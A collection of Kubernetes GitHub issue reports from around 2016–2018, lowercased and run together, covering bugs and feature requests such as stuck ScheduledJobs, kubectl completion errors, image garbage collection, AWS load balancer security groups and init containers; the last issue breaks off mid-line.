<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  scheduledjob ,  cron ,  active \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r     \r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 gnu/linux \r -   install tools  :  quay.io/coreos/hyperkube:v1.4.6_coreos.0 , deployed with  kargo \r -   others  :\r \r   what happened  :\r \r i had a job corresponding to a scheduledjob running, and i deleted the job manually.\r \r the scheduledjob still shows as  active: 1 .  describe  shows the job name under  active jobs  even though the job was deleted.\r \r the scheduledjob stays like this indefinitely, and never re-schedules a new job according to the cron description. \r \r   what you expected to happen  :\r \r i expect the scheduledjob to pick up that the job was deleted, get into  active: 0  again, and do not reference a deleted job under  active jobs .\r \r in https://github.com/kubernetes/kubernetes/blob/release-1.4/pkg/controller/scheduledjob/controller.go l127, there is no check that all the jobs for a scheduledjob still exist.\r \r instead, we could go through the active list for each scheduledjob, and remove any job that does not exist anymore along with a warning event.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create:\r \r    \r apiversion: batch/v2alpha1\r kind: scheduledjob\r metadata:\r   name: my-cron-job\r   labels:\r     app: my-cron-job\r spec:\r   schedule: 0/1       ?\r   concurrencypolicy: forbid\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: my-cron-job\r             image: busybox:1.25\r             command:  \ sleep\ , \ 120\  \r           restartpolicy: never\r    \r \r use  kubectl get jobs --watch | grep my-cron-job  to wait for the job to be created, and delete it using  kubectl delete job <xxxx> .\r \r check that scheduledjob is still active:\r    \r kubectl describe scheduledjob my-cron-job                                                                                                                                                                                                                                                                                                                            \r name:  \t\t\t\tmy-cron-job\r namespace:     \t\t\tdefault\r schedule:      \t\t\t0/1       ?\r concurrency policy:    \t\tforbid\r suspend:       \t\t\tfalse\r starting deadline seconds:     \t<unset>\r image s :      \t\t\tbusybox:1.25\r selector:      \t\t\t<unset>\r parallelism:   \t\t\t<unset>\r completions:   \t\t\t<unset>\r no volumes.\r labels:\t\t\tapp=my-cron-job\r last schedule time:    \tfri, 02 dec 2016 11:22:00 -0500\r active jobs:   \t\tmy-cron-job-1782155079\r events:\r   firstseen    \tlastseen       \tcount  \tfrom   \t\t\t\tsubobjectpath  \ttype   \t\treason \t\t\tmessage\r   ---------    \t--------       \t-----  \t----   \t\t\t\t-------------  \t--------       \t------ \t\t\t-------\r   3m   \t\t3m     \t\t1      \t{scheduled-job-controller }    \t\t\tnormal \t\tsuccessfulcreate       \tcreated job my-cron-job-1782155079\r    \r \r wait as long as you like and repeat check -- it will stay active indefinitely. \r \r   anything else do we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r bash file path completion fails when trying to run  kubectl  commands and  source /usr/local/etc/bash_completion.d/kubectl  is in  ~/.bash_profile .  if i run  kubectl delete -f ../<tab>  then i get the error message show below in the section on reproduction.\r \r   what you expected to happen  :\r \r i espect to see files/directories that  ../  can complete to.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r amits-macbook-pro:boku amitgupta$ cat ~/.bash_profile\r     kubectl    \r source /usr/local/etc/bash_completion.d/kubectl\r amits-macbook-pro:boku amitgupta$ exec -l $shell\r amits-macbook-pro:boku amitgupta$ kubectl ../bash: __ltrim_colon_completions: command not found\r    \r \r i hit  <tab>  after  kubectl ../ .\r \r   anything else we need to know?  :\r \r this problem arises only with the  kubectl  command, not any others.\r \r it arises no matter what i seem to put in after  kubectl , even  kubectl <space><tab>  brings up the issue, doesn't have to be something like  kubectl delete -f ../<tab> .\r \r the error message changes.  in the example above, it says  bash: __ltrim_colon_completions: command not found , but sometimes it says  bash: _filedir: command not found  in the same place.  \r \r when i remove  kubectl  bash completions from my  ~/.bash_profile   and restart/re-login to the shell , the problem goes away.  these file completions came with my homebrew installation of  kubectl .\r \r there is no difference between what homebrew provided and what  kubectl completion bash  provides:\r \r    \r $ diff < kubectl completion bash  /usr/local/etc/bash_completion.d/kubectl\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   $ kubectl version\r   client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:51:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release :\r      \r   $ sw_vers\r   productname:\tmac os x\r   productversion:\t10.12.5\r   buildversion:\t16f2104\r      \r - kernel  e.g.  uname -a  :\r      \r   $ uname -a\r   darwin amits-macbook-pro.local 16.6.0 darwin kernel version 16.6.0: fri apr 14 16:13:31 pdt 2017; root:xnu-3789.60.24~4/release_x86_64 x86_64\r      \r - install tools:\r      \r   $ brew --version\r   homebrew 1.2.4\r   homebrew/homebrew-core  git revision 36f1; last commit 2017-07-06 \r \r   $ brew info --json=v1 kubectl | jq '. 0 .name,. 0 .installed 0 .version' -r\r   kubernetes-cli\r   1.7.0\r      \r - others:\r      \r   $ bash --version\r   gnu bash, version 3.2.57 1 -release  x86_64-apple-darwin16 \r   copyright  c  2007 free software foundation, inc.\r

is this a bug report or feature request?  :\r \r  \r this is a followup on https://github.com/kubernetes/kubernetes/issues/38228, but for go 1.9\r \r we should do the same kind of testing now to possibly catch bugs in either go or kubernetes when doing this kind of dependency version bump.\r \r ideally we'd have automated tests against go tip  https://github.com/kubernetes/test-infra/issues/1399 , but we don't have that at the moment, so we have to do it kind of manually.\r \r we should also decide which k8s version we should target. k8s v1.8 or v1.9?\r \r what go versions have been used so far?\r  - kubernetes v1.7.0 - go1.8.3  ref  https://github.com/kubernetes/kubernetes/blob/v1.7.0/build/build-image/cross/dockerfile \r  - kubernetes v1.6.0 - go1.7.5  ref  https://github.com/kubernetes/kubernetes/blob/v1.6.0/build/build-image/cross/dockerfile \r  - kubernetes v1.5.0 - go1.7.4  ref  https://github.com/kubernetes/kubernetes/blob/v1.5.0/build-tools/build-image/cross/dockerfile \r  - kubernetes v1.4.0 - go1.6.3  ref  https://github.com/kubernetes/kubernetes/blob/v1.4.0/build/build-image/cross/dockerfile \r  - kubernetes v1.3.0 - go1.6.2  ref  https://github.com/kubernetes/kubernetes/blob/v1.3.0/build/build-image/cross/dockerfile \r  - kubernetes v1.2.0 - go1.4.2  ref  https://github.com/kubernetes/kubernetes/blob/v1.2.0/build/build-image/cross/dockerfile \r \r seems like the trend has been to stay on the same go version for two releases and then bump.\r that'd mean we'd switch to go1.9 in k8s v1.9\r \r everyone happy with that? or is there any reason for us to go start using go1.9 in k8s v1.8?\r \r in any case, we should indeed start testing go1.9 out now...\r \r cc @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-testing-feature-requests @kubernetes/sig-release-feature-requests @bradfitz @jessfraz @kubernetes/sig-scalability-feature-requests

now that openapi released version 3.0 we should support it. we should keep the support for v2 until we have full tooling support for v3.\r \r  openapi v3 specification  https://github.com/oai/openapi-specification/blob/master/versions/3.0.0.md \r \r  differences between v2 and v3  https://www.openapis.org/news/blogs/2016/07/you-can-get-involved-creating-openapi-specification-and-heres-how

 \r we would like to make sure the device plugin framework we added in 1.8 has proper handling upon the following failure scenario:\r \r - kubelet restarts: an e2e test we may add is to allocate a gpu device to a pod and then restart kubelet. after kubelet becomes ready again, verify that device plugin has correctly re-registered with the new kubelet instance. then checks that we can allocate another gpu device to another pod. the gpu device allocated to the second pod needs to be different from the first one, which verifies that kubelet device plugin checkpoint works correctly. for this e2e test, we may use some functions in test/e2e/framework/util.go, e.g., restartkubelet  .\r \r - device plugin restarts: for this test, we can just use the nvidia gpu device plugin currently implemented. in the test, we can also start with allocating a gpu device to a pod first and then delete the device plugin daemonset. the current expected behavior is that the pod that is already allocated with a gpu can still keep running but new pod creation with gpu request should be pending. the node should report no capacity for gpu resource after the device plugin daemonset is deleted. then create the daemonset again. verifies the capacity for gpu resource on the node is correctly updated after the new device plugin reconnects and the new pod can be allocated with gpu devices. we may reuse some functions in test/e2e/framework/util.go, e.g.,  deleteresource  , in this test. \r \r - device failure: there is already certain unit test coverage in pkg/kubelet/deviceplugin/endpoint_test.go and pkg/kubelet/cm/device_plugin_handler_test.go that for device state update handling. in this e2e test, we want to emulate device failure at lower level  i.e., below device plugin , and verifies that the device plugin can correctly detect and report that, and kubelet can update resource capacity accordingly. note that this does depend on the healthy state monitoring functionality implemented in a device plugin, which is not implemented yet in the nvidia gpu device plugin.\r \r fyi, the e2e test we already added to test basic device plugin functionality: test/e2e/scheduling/nvidia-gpus.go. may consider to generalize some logic in this file, e.g., creating a daemonset and creating a pod to use gpu resource, into functions that we may reuse in the failure tests.\r \r

 \r i'm happy to submit a pr to do this but wanted to first see if this is desired...\r \r google cloud has a new feature called \ open in cloud shell\  which supports invoking a url that auto-starts a cloud shell session  via in-browser ssh to an auto-provisioned vm  with an auto-cloned repo specified in the url. this might make a nice addition to the \ to start developing kubernetes\  section of the readme file, the idea being to present a button that pops you into a cloud shell session with the k8s source code auto-cloned for you and ready to go.\r \r any interest? if so, i'd be happy to submit the pr. thanks for your consideration.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r removeimage service is trying to remove pause image. my kubelet is configured with:\r    \r --pod-infra-container-image=docker-release/infra/pause:v3.0\r    \r \r i see in the logs that controller is trying to free up some space:\r    \r mar  1 21:36:33 kubernetes-master-ubuntu kubelet 9576 : i0301 21:36:33.776112    9576 image_gc_manager.go:285   imagegcmanager : disk usage on image filesystem is at 76% which is over the high threshold  70% . trying to free 17049925632 bytes\r mar  1 21:36:33 kubernetes-master-ubuntu kubelet 9576 : i0301 21:36:33.789323    9576 image_gc_manager.go:350   imagegcmanager : removing image \ sha256:1e62b686f055cbaf2813102da095f7cee1e0805f7b4b124a6a7beaba06d07a3c\  to free 840632 bytes\r    \r \r but in the kubelet logs i see error that service failed:\r    \r mar  1 21:36:33 kubernetes-master-ubuntu kubelet 9576 : e0301 21:36:33.795829    9576 remote_image.go:130  removeimage \ sha256:1e62b686f055cbaf2813102da095f7cee1e0805f7b4b124a6a7beaba06d07a3c\  from image service failed: rpc error: code = unknown desc = error response from daemon: conflict: unable to delete 1e62b686f055  cannot be forced  - image is being used by running container 5f79894ff5bd\r    \r \r service is trying to remove image  1e62b686f055  but this is pause image:\r    \r docker images |grep 1e62b686f055\r docker-release/infra/pause                                   v3.0                1e62b686f055        4 weeks ago         841kb\r    \r \r   what you expected to happen  :\r service should skip pause image and all images used  needed  by cluster components.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:59:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r dind test environment\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux kubernetes-master-ubuntu 4.9.60-linuxkit-aufs  1 smp mon nov 6 16:00:12 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

i have a problem for dns https://github.com/kubernetes/dns/issues/208\r \r version:k8s-1.6 \r os:centos linux release 7.4.1708\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i have a kubernetes   v1.7   in aws. i created a service of type  loadbalancer  and used the annotation  service.beta.kubernetes.io/aws-load-balancer-extra-security-groups  to apply an extra security group to the elb that gets created.\r \r the extra security group was created outside of kubernetes, with the expectation that it is not owned by kubernetes and will be managed independently.\r \r i deleted the service resource. kubernetes then deleted the elb   and my extra security group  .\r \r   what you expected to happen  :\r \r i expect my extra security group to not be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in aws, create security group that is otherwise unused. in kubernetes, create service of type  loadbalancer , include the annotation  service.beta.kubernetes.io/aws-load-balancer-extra-security-group  with the previously created security group. watch an elb be created with that security group. delete the service from kubernetes. watch the elb be deleted  as expected  and the security group be deleted  unexpected .\r \r   anything else we need to know?  :\r \r it seems a workaround may be to ensure the security group is in use by at least one other resource within aws so that the deletion attempt will fail with a  dependencyvioloation  https://github.com/kubernetes/kubernetes/blob/v1.7.16/pkg/cloudprovider/providers/aws/aws.go l3186 . the deletion process will eventually timeout, if i understand the code correctly.\r \r i've linked to  v1.7.16 , though i don't see any additional behavior on  master , so i believe the bug is there as well.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.16\r - cloud provider or hardware configuration: aws\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when i create a deployment with  apiversion: extensions/v1beta1   and no  progressdeadlineseconds  set, the resource is actually created with  \ progressdeadlineseconds\ : 600 . this does not happen in 1.9.x versions of kubernetes.\r \r   what you expected to happen  :\r \r i expect the resource to not have a  progressdeadlineseconds  added, since the  docs  https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md on-compatibility  say that its not acceptable to change the default values.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a minimal deployment example in a 1.10.0 cluster\r \r example_deployment.yml:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: deployment-example\r spec:\r   template:\r     metadata:\r       labels:\r         app: deployment-example\r     spec:\r       containers:\r       - name: sidecar\r         image: busybox\r         imagepullpolicy: ifnotpresent\r         command:  \ tail\ , \ -f\ , \ /dev/null\  \r    \r \r kubectl -v8 --context minikube -n test create -f  example_deployment.yml\r \r   anything else we need to know?  :\r \r i don't have any evidence but am wondering if this bug is related to: https://github.com/kubernetes/kubernetes/pull/61419 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:54:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  minikube version: v0.28.0 \r - os  e.g. from /etc/os-release :  osx 10.13.6 \r - kernel  e.g.  uname -a  : \r    \r 17.7.0 darwin kernel version 17.7.0: thu jun 21 22:53:14 pdt 2018; root:xnu-4570.71.2~1/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

hello, \r \r i am trying to figure out a way to tell the scheduler to at least schedule one pod per failure zone but then allow others to be filled/moved as needed.\r \r i can setup anti-affinity using the topologykey zone but i am only able to get one pod per zone.

what would you like to be added  :\r a comment in  kubectl explain crd.status.conditions  that includes the possible values of  type .\r \r    \r $ kubectl explain crd.status.conditions\r kind:     customresourcedefinition\r version:  apiextensions.k8s.io/v1beta1\r resource: conditions <  object>\r description:\r    ....\r fields:\r   ....\r    type\t<string> -required-\r      type is the type of the condition. can be established, namesaccepted, or terminated.\r    \r \r i got the possible values from  customresourcedefinitionconditiontype  https://github.com/kubernetes/kubernetes/blob/e318642946daab9e0330757a3556a1913bb3fc5c/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1/types.go l270-l280 .\r \r the  kubectl explain crd.status.contitions.type  should contain the further explanation available in the linked code that explains what each condition type means.\r \r   why is this needed  :\r currently the output of  kubectl explain crd.status.conditions  is incomplete:\r    \r $ kubectl explain crd.status.conditions\r kind:     customresourcedefinition\r version:  apiextensions.k8s.io/v1beta1\r \r resource: conditions <  object>\r \r description:\r      conditions indicate state for particular aspects of a\r      customresourcedefinition\r \r      customresourcedefinitioncondition contains details for the current\r      condition of this pod.\r \r fields:\r    lasttransitiontime\t<string>\r      last time the condition transitioned from one status to another.\r \r    message\t<string>\r      human-readable message indicating details about last transition.\r \r    reason\t<string>\r      unique, one-word, camelcase reason for the condition's last transition.\r \r    status\t<string> -required-\r      status is the status of the condition. can be true, false, unknown.\r \r    type\t<string> -required-\r      type is the type of the condition.\r    \r    \r $ kubectl explain crd.status.conditions.type\r kind:     customresourcedefinition\r version:  apiextensions.k8s.io/v1beta1\r \r field:    type <string>\r \r description:\r      type is the type of the condition.\r    \r \r it is important to include the values of  status.conditions.type  because that's the value used to  wait on statuses  https://github.com/kubernetes/kubernetes/issues/66439 . it is not user-friendly to require users to guess the possible string values for condition or require them to read the code to deduce what the possible values are.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r in azure disk attach/detach function, it uses slice  disks   to store the disk list:\r https://github.com/kubernetes/kubernetes/blob/f01c1401a9802cf650382983161dd587705d7444/staging/src/k8s.io/legacy-cloud-providers/azure/azure_controller_standard.go l44\r and after  disks  changed, the original  vm.storageprofile.datadisks  would also be changed, so original azure data disk list is corrupted after attach/detach disk\r \r example code as below:\r    \r func main   {\r     var disks    string \r     disks = &  string{\ disk1\ , \ disk2\ , \ disk3\ , \ disk4\ }\r     copy :=  disks\r \r     //detach a disk\r     copy = append copy :1 , copy 2: ... \r \r     \r     fmt.println \ disks = \ ,  disks \r     fmt.println \ copy = \ , copy \r }\r \r \r   ./test\r disks =   disk1 disk3 disk4 disk4 \r copy =   disk1 disk3 disk4 \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r  /assign

right now, there's no good way to do a review for releases.  you can't attach a tag to a pr, so the only way to set the tag is to do just a straight push to upstream.  we also just do a straight push of the versionizing commit  that revs versions in  pkg/version/base.go  .  all of this is implemented in dry-run functionality in  cut-official-release.sh  right now, but there's no good paper trail or way to collaborate on review.  it would be much better if we had some sort of review process.

\r bug report\r \r   kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.124+0c7421fb51bd49-dirty\ , gitcommit:\ 0c7421fb51bd49b7fdc66a2c08fc1adee0f9630a\ , gittreestate:\ dirty\ , builddate:\ 2016-11-07t09:43:55z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ \r \r   environment  :\r - provider: openstack\r - os: centos linux 7  core \r - kernel: linux kubernetesstack-test-node-soktmicf.kubecluster.test 3.10.0-327.13.1.el7.x86_64  1 smp thu mar 31 16:04:38 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r the node could not register with the api server\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r run the heat scripts to setup a cluster on a openstack cloud.\r \r   anything else do we need to know  :\r \r from the kubelet log.\r 0.650555   28807 kubelet_node_status.go:74  attempting to register node kubernetesstack-test-node-soktmicf\r 0.657271   28807 kubelet_node_status.go:98  unable to register node \ kubernetesstack-test-node-soktmicf\  with api server: node \ kubernetesstack-test-node-soktmicf\  is invalid: metadata.name: invalid value: \ kubernetesstack-test-node-soktmicf\ : must match the regex  a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?    e.g. 'example.com' \r 2.056079   28807 eviction_manager.go:165  eviction manager: unexpected err: failed getnode: node 'kubernetesstack-test-node-soktmicf' not found\r \r pkg/cloudprovider/providers/openstack/metadata.go\r uses the cloudprovider information entry name which is just a name and not a hostname which i assume that the api wants as a name.\r \r should really a entry metadata.name be enforced to have url hostname  type ?\r \r /r\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ bazel\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r 1.5 beta2  source \r \r   how to reproduce it    as minimally and precisely as possible :\r \r use github.com/kubernetes/kubernetes as a git_repository in another bazel project. the \ set-gen\  genrule in pkg/util/sets/build will fail because its \ --input-dirs\  argument assumes some things about the path it is operating on. it works fine in the kubernetes tree, but the paths will have \ external/\  prepended to them when imported into another project. the \ --go-header-file\  argument works fine because it uses $location.\r \r   anything else do we need to know  :\r \r i fixed this here by doing some path-chopping in bash, but the solution is ugly:\r \r https://github.com/sayrer/kubernetes/blob/4d14457d6297ab98ca46c75601195cd9d67eb339/pkg/util/sets/build l43\r \r @mikedanese

kubernetes version   : v1.5.3\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu 16.04 lts\r -   kernel    e.g.  uname -a  : 4.4.0-72-generic\r -   install tools  : acs-engine used to deploy the cluster  1 master, 2 nodes \r -   others  : calico used as network policy, custom pod cidr  10.11.0.0/16 \r \r \r sometime happens a nodecontrollereviciton either in master or nodes, marking for deletion all the pods on that machine.\r i search for a cause in journalctl -u kubelet, kube-controller-manager, syslog, but i only find the nodecontrollereviction ocurring and not the cause of that.\r i check too the node conditions and the \ last transition time\  is the same that eviction time, but i checked all the machines and all have enough disk space ...\r in all of ocurrences of nodecontrollereviction, the machine became ready an healthy again after approximately 10 minutes.\r \r what are the possible causes for the nodecontrollereviciton or where i can check the reason for that?\r \r thanks in advance!\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r according to documentation if pod spec file contains\r spec:\r   hostname: busybox-1\r \r i should be able to do lookup with kube-dns on \r nslookup busybox-1.default.pod.cluster.local <cluster dns ip address>\r \r but this does not work at all\r on the other hand if i do \r nslookup 0-0-0-0.default.pod.cluster.local <cluster dns ip address>\r nslookup 255-255-255-255.default.pod.cluster.local <cluster dns ip address>\r \r it works just fine even without any valid pod with those ip address of 0.0.0.0 or 255.255.255.255\r is this how it suppose to work?\r \r the regular cluster service dns lookup works just fine in my setup but i cannot get the pod dns to work.\r or is this how it suppose to work and i am just confused?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : \r bare metal machines\r \r - os  e.g. from /etc/os-release :\r centos linux release 7.3.1611  core \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  @kubernetes/sig-contributor-experience-help-wanted\r \r   what happened  :\r hello everyone,\r i've created a job pod with 2 init containers\r at pod creation, my job completed successfully but no sign of the init containers\r \r   what you expected to happen  :\r to me, the job should have wait for the completion of the 2 init containers before starting\r \r   how to reproduce it  as minimally and precisely as possible   :\r my job blueprint  taken from kubernetes documentation \r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: pi\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r         {\r             \ name\ : \ init-myservice\ ,\r             \ image\ : \ busybox\ ,\r             \ command\ :  \ sh\ , \ -c\ , \ until nslookup myservice; do echo waiting for myservice; sleep 2; done;\  \r         },\r         {\r             \ name\ : \ init-mydb\ ,\r             \ image\ : \ busybox\ ,\r             \ command\ :  \ sh\ , \ -c\ , \ until nslookup mydb; do echo waiting for mydb; sleep 2; done;\  \r         }\r      '\r spec:\r   template:\r     metadata:\r       name: pi\r     spec:\r       containers:\r       - name: pi\r         image: perl\r         command:  \ perl\ ,  \ -mbignum=bpi\ , \ -wle\ , \ print bpi 2000 \  \r       restartpolicy: never\r    \r \r   anything else we need to know?  :\r \r    \r  master-0 ~ $ kubectl describe pod pi-v2dn9\r name:                   pi-v2dn9\r namespace:              default\r security policy:        anyuid\r node:                   192.168.111.4/192.168.111.4\r start time:             thu, 19 oct 2017 08:58:39 +0000\r labels:                 controller-uid=b3091c77-b4ab-11e7-a3ea-fa163ea1c70b\r                         job-name=pi\r status:                 succeeded\r ip:                     10.131.0.46\r controllers:            job/pi\r containers:\r   pi:\r     container id:       docker://4bc5bb4c9fc65c1aa1999c3bdc09b01e54043dcdd464410edd0c9cad334c9c67\r     image:              perl\r     image id:           docker-pullable://docker.io/perl@sha256:80bd8136a0f3e2c7d202236fc5d8f1192dbfa9ec661ecdd5e96a446e9c7913a8\r     port:\r     command:\r       perl\r       -mbignum=bpi\r       -wle\r       print bpi 2000 \r     state:              terminated\r       reason:           completed\r       exit code:        0\r       started:          thu, 19 oct 2017 08:58:53 +0000\r       finished:         thu, 19 oct 2017 08:58:58 +0000\r     ready:              false\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-fxdf1  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true\r   ready         false\r   podscheduled  true\r volumes:\r   default-token-fxdf1:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-fxdf1\r qos class:      besteffort\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath           type            reason          message\r   ---------     --------        -----   ----                    -------------           --------        ------          -------\r   26s           26s             1       {default-scheduler }                            normal          scheduled       successfully assigned pi-v2dn9 to 192.168.111.4\r   25s           25s             1       {kubelet 192.168.111.4} spec.containers{pi}     normal          pulling         pulling image \ perl\ \r   12s           12s             1       {kubelet 192.168.111.4} spec.containers{pi}     normal          pulled          successfully pulled image \ perl\ \r   12s           12s             1       {kubelet 192.168.111.4} spec.containers{pi}     normal          created         created container with docker id 4bc5bb4c9fc6; security: seccomp=unconfined \r   12s           12s             1       {kubelet 192.168.111.4} spec.containers{pi}     normal          started         started container with docker id 4bc5bb4c9fc6\r    \r \r >>>> no sign of the init containers !!!\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+43a9be4\ , gitcommit:\ 43a9be4\ , gittreestate:\ clean\ , builddate:\ 2017-04-20t15:38:11z\ , goversion:\ go1.7.4\ , 